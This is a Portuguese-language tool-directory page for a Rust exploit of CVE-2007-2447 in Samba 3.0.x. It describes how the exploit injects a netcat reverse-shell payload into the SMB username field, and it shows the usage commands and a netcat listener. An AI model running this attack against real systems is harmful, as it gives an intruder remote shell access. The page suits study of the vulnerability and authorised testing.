Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/nika0x38/cve-2007-2447
Análise de VulnerabilidadesExploraçãoTestes de PenetraçãoComando e ControleFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHubnika0x38/cve-2007-2447

CVE-2007-2447

Uma implementação autônoma em Rust do exploit CVE-2007-2447 que visa o Samba smbd 3.0.20-Debian.

Ver Repositório
1há 11 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2007-2447 Exploit Samba

Rust Security

Uma implementação standalone em Rust do exploit CVE-2007-2447 que tem como alvo o Samba smbd 3.0.20-Debian.

Descrição da Vulnerabilidade

CVE-2007-2447 é uma vulnerabilidade de injeção de comandos nas versões 3.0.0 até 3.0.25rc3 do Samba. A vulnerabilidade existe na função SamrChangePassword(), que não sanitiza adequadamente a entrada do usuário, permitindo que atacantes executem comandos arbitrários por meio de metacaracteres de shell no campo de nome de usuário durante a autenticação SMB.

Pré-requisitos

  • Rust instalado no seu sistema
  • Alvo executando uma versão vulnerável do Samba
  • O alvo deve ter netcat disponível (geralmente instalado por padrão)

Uso

root@kitploit:~
cargo run -- --lhost <attacker-ip> --lport <attacker-port> --target <target-ip>

Exemplo

root@kitploit:~
# Configure um listener netcat
nc -lvnp 4444

# Execute o exploit
cargo run -- --lhost 10.10.14.170 --lport 4444 --target 192.168.1.100

Opções

  • --lhost: Endereço IP da sua máquina atacante
  • --lport: Porta para receber a conexão do reverse shell
  • --target: Endereço IP da máquina alvo

Como Funciona

  1. Gera um payload de reverse shell netcat diretamente no código
  2. Injeta o payload no campo de nome de usuário do SMB usando crases
  3. Envia uma solicitação SMB Session Setup malformada para a porta 445
  4. Explora a injeção de comandos no processamento de nome de usuário do Samba
  5. Executa o payload do reverse shell no alvo

Recursos

  • Standalone: Não requer dependências externas como Metasploit
  • Portátil: Funciona em qualquer sistema com Rust instalado
  • Rápido: Sem spawn de processos externos

Aviso Legal

Esta ferramenta é apenas para fins educacionais e de teste de penetração autorizado. Use com responsabilidade e somente em sistemas que você possua ou tenha permissão explícita para testar.

Baixar ferramenta